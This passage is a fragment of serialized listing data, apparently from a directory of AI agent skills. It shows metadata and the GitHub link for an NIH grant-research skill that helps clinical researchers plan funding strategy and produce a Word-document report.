searches wanting a quick list — that's a plain PubMed\u002FOpenAlex (or Consensus) query.","https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fresearch\u002Flitreview\u002Fskills\u002Flitreview\u002FSKILL.md",[],[],{"skillNo":119,"name":120,"nameZh":6,"description":121,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":86,"licenseFileUrl":6,"sourceHtmlUrl":122,"categories":123,"keywords":124,"publishedAt":19},"01M7BEQKJ45K31QK5VRAQSVJCJ","grants","NIH grant research skill for clinical researchers. Grill-me intake (research idea + career stage + preliminary data + environment + submission posture + known institute targets) locks down the funding strategy before any search runs. Runs a 5-facet Consensus positioning analysis (with draft Significance\u002FInnovation language), maps the research to the right NIH institutes and study sections via RePORTER, finds NOSIs and funded overlap, and produces an editable Word document (.docx) with budget\u002Fscope-aware mechanism recommendations, submission timelines, and a mandatory program officer recommendation. Use when the user asks about research funding or makes any grant-related request (e.g., 'grants for [topic]', 'find grants for my research idea', 'what grants match my research', 'help me find NIH funding', 'grant opportunities for my research'). NIH-only scope — non-NIH funders (PCORI, DOD CDMRP, VA, foundations) are out of scope and flagged at intake.","https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fresearch\u002Fgrants\u002Fskills\u002Fgrants\u002FSKILL.md",[],[]]